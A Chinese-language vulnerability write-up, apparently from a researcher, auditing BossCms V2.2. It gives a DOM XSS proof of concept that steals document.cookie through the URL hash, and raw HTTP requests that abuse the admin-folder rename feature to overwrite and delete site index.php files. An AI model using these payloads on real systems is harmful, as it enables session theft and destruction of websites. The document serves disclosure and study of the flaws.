大家好我是 A2Cai,这次我审的是 BossCms V2.2 的源码
如果有错误,请大家多多包涵哦!
PS:这次本来想当 0day 发出来的,但是这边担心厂商投诉,所以只能等厂商修补了之后再发...
.
.
.
地址:https://www.bosscms.net/download/
BossCms V2.2
.
这个漏洞我是在前台的 feedback 功能点找到的
在我成功提交反馈的时候会弹出个提示,告诉我提交成功
它是一个这样的 url 链接
http://bosscms.test.com/feedback/#_alert=%E5%8F%8D%E9%A6%88%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%EF%BC%81,green
我看到说既然可控又会渲染到前端,那就尝试下 XSS 吧
然后使用以下 Poc 成功弹窗
http://bosscms.test.com/feedback/#_alert="><img src=# onerror=alert(document.cookie)>,green
.
.
我就开始翻代码找漏洞点
一开始还以为是某个传参的过滤不严谨
发现 /system/basic/func/global.func.php 存在个有缺陷的 alert 函数
function alert($str, $type=null, $color=null){ global $G; if(arrExist($G,'get|jsonmsg')){ $js = json::encode(array('state'=>$type?$type:'success','msg'=>$str)); }else{ if($type=='close'){ $js .= "<script>alert('{$str}');window.close();</script>"; }else if($type=='reload'){ $js .= "<script>alert('{$str}');parent.location.reload();</script>"; }else if($type==null){ location($_SERVER['HTTP_REFERER'].'#_alert='.urlencode($str).','.($color?$color:'red')); }else{ location($type.'#_alert='.urlencode($str).','.($color?$color:'green')); } } die($js); }
可以发现,如果在调用这个函数之前没做任何的特殊字符 HTML 字符实体化的话
那只要第一个参数可控,就一定会导致一个 XSS 漏洞的产生了
但后面在测的时候猛然发现,不对啊?我没传参啊?!
然后我搜全局,才发现端倪
多说无益,先看看下面这段 JavaScript 代码
var at = window.location.hash.match(/#_alert=(.+?),(red|green|blue|yellow|gold)/); if(at){ _alert(decodeURI(at[1]),at[2]); window.location.hash = window.location.hash.replace(at[0],''); } function _alert(str, type){ var date = new Date(); now = date.getTime(); $('body').append('<h6 class="alert '+type+'" time="'+now+'" style="z-index:'+now+';"><b>'+str+'</b></h6>'); tha = $('h6.alert[time="'+now+'"]'); tha.animate({top:78,opacity:1},288); (function(tha){ window.setTimeout(function(){ tha.remove(); }, tha.hasClass('green')?3000:2000); })(tha); }
大体上就是说,它会截取我 URL 中 # 后面的字符
匹配正则之后直接拼接 HTML 然后添加到 body 标签下了
也就是说,只要加载了存在上述代码的 Js 文件
那最终就会导致一个 Dom 型 XSS 的产生
目前发现的两个地方都可以触发 XSS
1. /feedback/#_alert="><img src=# onerror=alert(document.cookie)>,green
2. /admin/#_alert="><img src=# onerror=alert(document.cookie)>,green
而存在问题的 js 文件暂时发现了这两个:global.js 和 bosscms.js
.
漏洞点主要出现在 /system/admin/safe/safe.class.php 文件
核心在于以下两段代码:
public function init() { global $G; $G['cover'] = $this->cover(); if(preg_match("/^\w+$/", $old=arrExist($G['get'],'old_folder'))){ if(is_file(ROOT_PATH.$old.'/index.php')){ $str = file_get_contents(ROOT_PATH.$old.'/index.php'); $res = dir::read(ROOT_PATH.$old.'/'); if(strstr($str,"define('IS_INSIDE',true);") && count($res['file'])==1){ dir::remove(ROOT_PATH.$old.'/'); } } } echo $this->theme('safe/safe'); } public function add() { global $G; $this->cover('safe','M'); if(isset($G['post'])){ if(!$G['post']['admin_folder']){ alert('后台文件夹不能为空!'); } $BOSSCMS; $data = array( 'page_cache_time' => $G['post']['page_cache_time'], 'upload_rename' => $G['post']['upload_rename'], 'upload_maxsize' => $G['post']['upload_maxsize'], 'upload_extension' => preg_replace('/\\\"(\w)/','\".$1',$G['post']['upload_extension']), 'upload_web_allow' => $G['post']['upload_web_allow'], 'upload_repeat' => $G['post']['upload_repeat'], 'ueditor_catchimage' => $G['post']['ueditor_catchimage'] ); foreach($data as $k=>$v){ mysql::select_set(array('name'=>$k,'value'=>$v,'parent'=>'0','type'=>'0','lang'=>'0'),'config',array('value')); } $data = array( 'admin_login_captcha' => $G['post']['admin_login_captcha'], 'admin_logout_time' => $G['post']['admin_logout_time'], 'admin_login_errnum' => $G['post']['admin_login_errnum'], 'admin_login_errtime' => $G['post']['admin_login_errtime'], 'window_full' => $G['post']['window_full'] ); foreach($data as $k=>$v){ mysql::select_set(array('name'=>$k,'value'=>$v,'parent'=>'0','type'=>'1','lang'=>'0'),'config',array('value')); } if($G['path']['folder'] != $G['post']['admin_folder']){ if(!preg_match("/^\w+$/", $G['post']['admin_folder'])){ alert('文件夹名称必须为英文、数字、下划线等字符'); } dir::copydir(ROOT_PATH.$G['path']['folder'].'/', ROOT_PATH.$G['post']['admin_folder'].'/'); alert('操作成功', '../'.$G['post']['admin_folder'].'/'.url::mpf('safe','safe','init',array('admin_folder'=>$G['post']['admin_folder'],'old_folder'=>$G['path']['folder']))); }else{ alert('操作成功', url::mpf('safe','safe','init')); } } }
这个功能点是用于更改后台路径的地址的
默认的后台路径是 admin,也就是配置文件中 $G['path']['folder']
的值
我们可以通过传入 admin_folder 调用 add 方法来将 admin 改为 POST 进来的 admin_folder 的值
这里最大的问题就是它把完整的操作流程拆成两个部分
而完成第一部分后的第二部分它是选择使用重定向的方式去调用
先来大概说下它的具体流程:
梳理完完整的流程之后我们会发现,我们实际上是可以单独调用 add 方法和 init 方法去实现一些东西的
.
以 feedback 为例
我们可以调用 add 方法将传入的 admin_folder 的值改为 feedback (BossCMS 中负责意见反馈的文件的目录)
这样它会让旧的 index.php 把 feedback/index.php 的内容给覆盖掉
.
.
将 feedback 当做 admin_folder 的值然后调用 add 方法
POST /admin/?mold=safe&part=safe&func=add HTTP/1.1 Host: bosscms.test.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------4172384995493174183638070831 Content-Length: 1872 Origin: http://bosscms.test.com Connection: close Referer: http://bosscms.test.com/admin/?mold=safe&part=safe&func=init Cookie: iframeScroll=; iframeMainTab=; bosscms4e1427ce3574583f353588d8a3dfb0c6=kd55i3f11352vk1cs5ou9d1p06; viewScrollY=; viewKindTag=core; viewScreen=pc Upgrade-Insecure-Requests: 1 -----------------------------4172384995493174183638070831 Content-Disposition: form-data; name="admin_folder" feedback -----------------------------4172384995493174183638070831 Content-Disposition: form-data; name="admin_login_captcha" 0 -----------------------------4172384995493174183638070831 Content-Disposition: form-data; name="admin_captcha_type" 0 -----------------------------4172384995493174183638070831 Content-Disposition: form-data; name="admin_logout_time" 28888 -----------------------------4172384995493174183638070831 Content-Disposition: form-data; name="admin_login_errnum" 6 -----------------------------4172384995493174183638070831 Content-Disposition: form-data; name="admin_login_errtime" 3600 -----------------------------4172384995493174183638070831 Content-Disposition: form-data; name="window_full" 0 -----------------------------4172384995493174183638070831 Content-Disposition: form-data; name="upload_rename" 1 -----------------------------4172384995493174183638070831 Content-Disposition: form-data; name="upload_maxsize" 2 -----------------------------4172384995493174183638070831 Content-Disposition: form-data; name="upload_extension" [".jpg",".png",".jpeg",".gif",".mp4",".mp3",".pdf",".doc",".xls",".xlsx",".bmp",".csv",".ico",".JPG",".phtml"] -----------------------------4172384995493174183638070831 Content-Disposition: form-data; name="upload_web_allow" 0 -----------------------------4172384995493174183638070831 Content-Disposition: form-data; name="upload_repeat" 0 -----------------------------4172384995493174183638070831 Content-Disposition: form-data; name="page_cache_time" 0 -----------------------------4172384995493174183638070831 Content-Disposition: form-data; name="ueditor_catchimage" 0 -----------------------------4172384995493174183638070831--
然后就变成如下图所示的内容
.
.
这个时候如果去访问 feedback 就会显示后台的页面(没登录就是后台登陆页面)
这个文件删除的条件是比较严格的,但结合上面这个文件覆盖可以起到稍稍好一点的效果
此处是调用 init 方法对特定目录下的文件进行删除,具体要满足以下几个条件
define('IS_INSIDE',true);
字段。这个如果没有前面的文件覆盖的话,将几乎无法利用
但如果能结合覆盖来用,就可以实现删除前台的所有入口文件和管理员的登录后台文件
感染是指将 admin/index.php 的内容覆盖任何 xxx/index.php 文件
此时,如果你尝试访问 xxx,你会发现它变成了一个后台页面
例如:我们要感染 feedback 的这个业务
用上面那个数据包对 feedback 下的 index.php 进行覆盖
.
.
尝试访问:bosscms.test.com/feedback/
.
.
发现变成了后台,此时则满足上述提到的删除文件的三个条件
调用 init 函数去删除改文件
GET /feedback/?mold=safe&part=safe&func=init&admin_folder=feedback&old_folder=admin HTTP/1.1 Host: bosscms.test.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://bosscms.test.com/admin/?mold=safe&part=safe&func=init Connection: close Cookie: iframeScroll=576%7E%7E%7E%3Fmold%3Dsafe%26part%3Dsafe%26func%3Dinit; iframeMainTab=; viewScrollY=; viewKindTag=core; viewScreen=pc; bosscms4e1427ce3574583f353588d8a3dfb0c6=ab9eksbfht4da09kmm98vqdhh4 Upgrade-Insecure-Requests: 1
feedback 下的 index.php 文件被删除了
.
.
所以基本上只要符合文件删除的特征的目录,都可以将里面的 index.php 文件给删除
借此,我写了个脚本,可以实现一键破坏前台+后台的所有功能点,只需要你拥有后台权限
(PS:测试的时候做好备份)
最后实现的效果就是网站所有功能点都 404